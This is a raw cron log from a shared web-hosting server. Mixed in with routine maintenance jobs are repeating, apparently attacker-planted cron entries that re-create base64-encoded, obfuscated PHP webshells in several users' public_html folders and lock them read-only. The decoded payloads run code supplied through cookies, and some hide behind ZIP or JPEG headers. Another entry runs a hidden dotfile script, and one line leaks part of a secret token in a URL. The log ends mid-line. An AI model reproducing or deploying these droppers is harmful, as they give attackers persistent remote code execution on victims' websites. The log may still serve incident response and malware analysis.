Mar  2 00:42:02 medusa CROND[11021]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:42:02 medusa CROND[11022]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:42:02 medusa CROND[11029]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:42:02 medusa CROND[11035]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:42:02 medusa CROND[11037]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:42:02 medusa CROND[11026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:43:01 medusa CROND[16138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:43:02 medusa CROND[16203]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:43:02 medusa CROND[16204]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 00:43:02 medusa CROND[16211]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:43:02 medusa CROND[16212]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:43:02 medusa CROND[16213]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:43:02 medusa CROND[16214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:43:02 medusa CROND[16215]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:43:02 medusa CROND[16217]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:43:02 medusa CROND[16223]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:43:02 medusa CROND[16230]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 00:43:02 medusa CROND[16231]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:43:02 medusa CROND[16236]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:43:02 medusa CROND[16237]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:44:01 medusa CROND[22238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:44:02 medusa CROND[22352]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:44:02 medusa CROND[22354]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:44:02 medusa CROND[22355]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:44:02 medusa CROND[22356]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:44:02 medusa CROND[22357]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:44:02 medusa CROND[22362]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:44:02 medusa CROND[22363]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:44:02 medusa CROND[22364]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:44:02 medusa CROND[22368]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 